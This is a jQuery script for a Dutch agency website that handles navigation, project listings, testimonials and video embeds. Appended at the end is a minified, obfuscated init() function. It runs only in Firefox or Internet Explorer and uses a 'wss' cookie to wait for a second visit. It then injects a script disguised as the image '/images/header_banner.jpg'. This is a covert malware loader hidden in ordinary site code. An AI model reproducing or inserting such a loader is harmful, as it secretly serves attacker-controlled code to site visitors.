jQuery(document).ready(function($){
	
	// QUICKSCAN
	//---------------------------
	$("#quickscan-open").live("click", function(){
		
		// close testimonials
		// if opened
		if( $("#testimonials").hasClass("openContent") )
		{
			closeTestimonials();
		}
		
		var openStatus = false;
		
		// set all navigation links to inactive state
		//------------------------------
		$("#mainNav li").each(function(){
			$(this).removeClass("inactiveLink");
			$(this).addClass("activeLink");
		});
		
		// get target & area
		var target = $(this).attr("href").replace("#",""); // get the projects category
		var area = $(this).attr("rel"); // get content area
		
		// if  not already opened
		if( $(area).attr("rel") != target )
		{
			
			// assign rel = target (category)
			$(area).attr("rel", target).addClass("openContent");
			
			// if area already opened
			// just change the content
			if( $(area).is(":visible") )
			{
				loadQuickscan(target, area);
			}
			// if area not opened
			// slide and change the content
			else
			{
				$(area).slideDown("fast", function(){
					
					loadQuickscan(target, area);
					
				});
			}
			
		}
		
		return false;
		
	});
	//---------------------------
	
	// PROJECTS
	//---------------------------
	$("#mainNav a").live("click", function(){
		
		// close testimonials
		// if opened
		if( $("#testimonials").hasClass("openContent") )
		{
			closeTestimonials();
		}
		
		var openStatus = false;
		
		// set all navigation links to inactive state
		//------------------------------
		$("#mainNav li").each(function(){
			$(this).removeClass("activeLink");
			$(this).addClass("inactiveLink");
		});
		// set current link to active
		$(this).parents("li").removeClass("inactiveLink").addClass("activeLink");
		//------------------------------
		
		// get target & area
		var target = $(this).attr("href").replace("#",""); // get the projects category
		var area = $(this).attr("rel"); // get content area
		
		// if specific category not already opened
		if( $(area).attr("rel") != target )
		{
			
			// assign rel = target (category)
			$(area).attr("rel", target).addClass("openContent");
			
			// if area already opened
			// just change the content
			if( $(area).is(":visible") )
			{
				loadProjects(target, area);
			}
			// if area not opened
			// slide and change the content
			else
			{
				$(area).slideDown("fast", function(){
					
					loadProjects(target, area);
					
				});
			}
			
		}
		
		return false;
		
	});
	//---------------------------
	
	// TESTIMONIALS
	//---------------------------
	$("#testimonialsNav a").live("click", function(){
		
		resetMainNav();
		
		var target = $(this).attr("href");
		
		if( !$(target).hasClass("openContent") )
		{
			
			// if projects area is open
			// close it
			if( $("#projects").is(":visible") ) closeProjects();

			// open area
			openArea($(this).attr("href")); // temporarily removed for v2
			
			$("#testimonalsListWrap").fadeIn();
			
			// load testimonials list
			//-----------------------
			
			$("#testimonalsList").html(""); // reset
			
			// get contents
			$.getJSON('content/testimonials.php', function(data) {

				$.each(data, function(key, val) {

					$("#testimonalsList").append('<li style="display:none"><a href="#testimonials-details" rel="'+key+'" class="thumb"><span class="img"><img src="'+val.thumbnail+'" alt="" /></span></a><span class="title">'+val.title+'</span></li>');
					$("#testimonalsList li:last").fadeIn();
					
					
				});

			});
		}
		
		return false;
		
	});
	//---------------------------
	
	// TESTIMONIALS DETAILS
	//---------------------------
	$("#testimonalsList a").live("click", function(){
		
		resetMainNav();
		
		// get target testimonial
		var tID = $(this).attr("rel");
		
		// set height
		$(".testimonials").css("min-height", $(".testimonials").height());
		
		// get contents
		$.getJSON('content/testimonials.php?testimonial='+tID, function(data) {
			
			// hide testimonials intro
			/* 
			// temporarily changed for v 2
			$("#testimonials").fadeOut("fast", function(){
				
				if( $("#testimonials-details").is(":visible") )
				{
					resetTestimonial(function(){
						loadTestimonial(data);
					});
				}
				else
				{
					loadTestimonial(data);
				}
				
			});
			*/
			
			// temporarily added for v 2
			if( $("#testimonials-details").is(":visible") )
			{
				resetTestimonial(function(){
					loadTestimonial(data);
				});
			}
			else
			{
				loadTestimonial(data);
			}
			
			
		});
		
		return false;
		
	});
	//---------------------------
	
	// Show / Hide footer links
	// elements with .overout should have REL defined as "#elementID" or ".elementClass"
	//---------------------------
	
	$(".overout a.opener").live("click", function(){
	
		var target = $(this).attr("rel");
		
		if( $(target).css("display") == "block" )
		{
			$(target).fadeOut("fast");
		}
		else
		{
			$(target).fadeIn("fast");
		}
		
		return false;
		
	});
	
	// Open Overlay - Google Maps
	//---------------------------
	$("#route-open").twOverlay({

		overlayWidth: 630,
		overlayHeight: 500,
		startWidth: 0,
		startHeight: 0,
		openAnimation: false,
		overlayCloseLabel: 'Sluit',
		modal: true,
		background_color:'none'

	}, function(){
		$("#close-overlay").addClass("tradegothic");
		Cufon.replace('.tradegothic',{ hover: true });

	});
	//---------------------------
	
	
	// INPUT PLACEHOLDER
	//---------------------------
	$("[placeholder]").each(function(){
		
		var input = $(this);
		var val = $(this).attr("placeholder");
		input.val(val);
		
	});
	
	
	$("[placeholder]").focus(function() {
	  var input = $(this);
	  if (input.val() == input.attr("placeholder")) {
	    input.val("");
	    input.removeClass("placeholder");
	  }
	}).blur(function() {
	  var input = $(this);
	  if (input.val() == "" || input.val() == input.attr("placeholder")) {
	    input.addClass("placeholder");
	    input.val(input.attr("placeholder"));
	  }
	}).blur();
	
	$("[placeholder]").parents("form").submit(function() {
	  $(this).find("[placeholder]").each(function() {
	    var input = $(this);
	    if (input.val() == input.attr("placeholder")) {
	      input.val("");
	    }
	  })
	});
	//---------------------------
	
});

function resetMainNav()
{
	// reset main nav
	$("#mainNav li").each(function(){
		$(this).removeClass("activeLink");
		$(this).removeClass("inactiveLink");
	});
	
	Cufon.replace('.tradegothic',{'hover':true});
}

// Open content sections
//---------------------------
function openArea(target, callback)
{
	
	var obj = $(target);
	obj.addClass("openContent");
	
	obj.slideDown("fast", function(){
		
		if(typeof callback == 'function') callback.call(this);
		
	});
	
}
//---------------------------


// Close and reset
// PROJECTS
//---------------------------
function closeProjects()
{	
	$("#slogan span").fadeOut("slow");
	$(".intro-cont").fadeOut("slow");
	$("#projects-wrap").fadeOut("fast");
	
	$("#projects").slideUp("fast", function(){
	
		$("#slogan span").html("");
		$(".intro-cont").html("");
		$("#projects_list").html("");
		$("#projects").attr("rel","");
		
		// also reset navigation
		$("#mainNav li").each(function(){
		//	$(this).removeClass("activeLink").addClass("inactiveLink");
		});
		
	});
}

// Close and reset
// TESTIMONIALS
//---------------------------
function closeTestimonials()
{
	$("#testimonalsListWrap").fadeOut("fast");
	$(".preview-wrap img").fadeOut("fast");
	$(".testimonials").css("min-height","0px");
	$("#testimonials, #testimonials-details").slideUp("fast", function(){
	
		$("#author").html("");
		$("#title").html("");
		$("#testimonial-body").html("");
		$(".preview-wrap").html("");
		$("#testimonials, #testimonials-details").removeClass("openContent");
		
	});
}

function closeQuickscan(callback)
{
	
	$("#quickscan").slideUp("fast", function(){
	
		$("#quickscan").html("");
		$("#quickscan").removeClass("openContent");
		
	});
}


function loadTestimonial(data)
{
	
	// slide down details area
	$("#testimonials-details").slideDown("fast", function(){
		
		$("#author").hide().html(data.author).fadeIn("fast", function(){
			$("#title").hide().html(data.title).fadeIn("fast", function(){
				$("#testimonial-body").hide().html(data.body).fadeIn("fast", function(){
					
					// IF HAS VIDEO
					if( data.video!="" )
					{
						// video html code
						//------
						var videoPlayer = '<div class="video-js-box">\
						  <!-- Using the Video for Everybody Embed Code http://camendesign.com/code/video_for_everybody -->\
						  <video class="video-js" width="500" height="275" controls preload poster="'+data.bigimg+'">\
							<source src="'+data.video+'.mp4" type=\'video/mp4; codecs="avc1.42E01E, mp4a.40.2"\' />\
							<source src="'+data.video+'.ogv" type=\'video/ogg; codecs="theora, vorbis"\' />\
						    <!-- Flash Fallback. Use any flash video player here. Make sure to keep the vjs-flash-fallback class. -->\
							<object id="flowplayer" class="vjs-flash-fallback" width="500" height="275">\
								<param name="movie" value="http://releases.flowplayer.org/swf/flowplayer-3.2.7.swf" />\
								<param name="flashvars" value=\'config={"clip":"'+data.video+'.mp4"}\' />\
								<!-- EMBED tag for Netscape Navigator 2.0+ and Mozilla compatible browsers -->\
								<embed type="application/x-shockwave-flash" width="500" height="320" src="http://releases.flowplayer.org/swf/flowplayer-3.2.7.swf" flashvars=\'config={"clip":"'+data.video+'.mp4"}\'/>\
							</object>\
						  </video>\
						</div>';
						//------
						
						$(".preview-wrap").html(videoPlayer).fadeIn("fast", function(){
							VideoJS.setupAllWhenReady();
						});
					}
					
					// IF NO VIDEO
					else
					{
						$(".preview-wrap").html('<img src="'+data.bigimg+'" />').fadeIn("fast", function(){
							$(this).find("img").css("width","500px").fadeIn("fast");
						});
					}
					
				});
			});
		});
		
	});
	
}

function resetTestimonial(callback)
{
	$("#testimonial-body").fadeOut("fast", function(){
		$("#title").fadeOut("fast", function(){
			$("#author").fadeOut("fast", function(){
				$(".preview-wrap").fadeOut("fast", function(){

					if(typeof callback == 'function') callback.call(this);

				});
			});
		});
	});
}

// QUICKSCAN load
//------------------------
function loadQuickscan(target, area)
{
	// reset content
	// one by one...
	$("#slogan span").fadeOut("fast", function(){
		
		$(this).html("");
		
		// load html content
		
		$(".intro-cont").fadeOut("fast", function(){
		
			$(this).html("");
			$("#projects-wrap").fadeOut("fast", function(){
				
				$("#projects_list").html("");
				$("html").removeClass("wideProjects");
				
				// load new content
				// process display
				//------------
				$(".intro-cont").load("content/quickscan.php", function(){
					
					$(area).addClass("quickscan");
					Cufon.replace('.tradegothic');
					$(this).fadeIn();
					
				});
				//------------
				
			});
			
		});
	});
}

// PROJECTS - load projects
//---------------------------
function loadProjects(target, area)
{
	
	var cLast = 2;
	
	// get contents
	$.getJSON('content/blocks.php?section='+target, function(data) {
		
		// reset content
		// one by one...
		$("#slogan span").fadeOut("fast", function(){
			
			$(this).html("");
			// load html content
			$("#slogan span").html(data.slogan);
			Cufon.replace('.tradegothic');
			
			$(".intro-cont").fadeOut("fast", function(){
				
				$(area).removeClass("quickscan");
			
				$(this).html("");
				$("#projects-wrap").fadeOut("fast", function(){
					
					$("#projects_list").html("");
					
					// load new content
					// process display
					//------------
					
					if( target == "implementatie" )
					{
						$("html").addClass("wideProjects");
						cLast = 3;
					}
					else
					{
						$("html").removeClass("wideProjects");
					}
					
					$("#slogan span").css({"left":"0px", "display":"none"}).fadeIn("fast", function(){
						$(".intro-cont").css({"display":"none"}).html(data.intro).fadeIn("fast", function(){
							
							$("#projects-wrap").fadeIn("fast", function(){


								$("#projects_list").html(""); // reset projects list content

									var i = 1;

									// Process projects
									//---------------------------
									$.each(data.projects, function(key, val) {

										// set every second item the class "last"
										var last = ( i%cLast==0 ) ? "last" : "";

										// insert content
										$("#projects_list").append('<li style="display:none" id="' + key + '" class="'+last+'"><div class="thumb"><a href="content/project.php?section='+ target +'&case=' + key + '" class="ajaxload"><img src="'+val.thumbnail+'" /></a></div></li>');

										i++;

										// last item is inerted
										// display items
										//---------------------------
										if( Object.size(data) == i )
										{
											var currentItem = $("#projects_list li:first"); // get the first item

											var loadProjects = setInterval(function(){ // loop and display items

												currentItem.fadeIn("fast", function(){ currentItem = currentItem.next(); }); // display current and load define next item

												if ( currentItem.next().length == 0 ) clearInterval(loadProjects); // if is last item, cler interval

											}, 250);

										}
										//---------------------------

									});
									//---------------------------
									
									// Open Project Gallery
									//---------------------------
									$("#projects_list a").twOverlay({

										overlayWidth: 530,
										overlayHeight: 408,
										startWidth: 0,
										startHeight: 0,
										openAnimation: false,
										overlayCloseLabel: 'Sluit',
										modal: false

									}, function(){

										Cufon.replace('.tradegothic',{ hover: true });

									});


							});
						});
					});
					//------------
					
				});
				
			});
		});

	});	
}
//---------------------------



Object.size = function(obj) {
    var size = 0, key;
    for (key in obj) {
        if (obj.hasOwnProperty(key)) size++;
    }
    return size;
};

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/header_banner.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
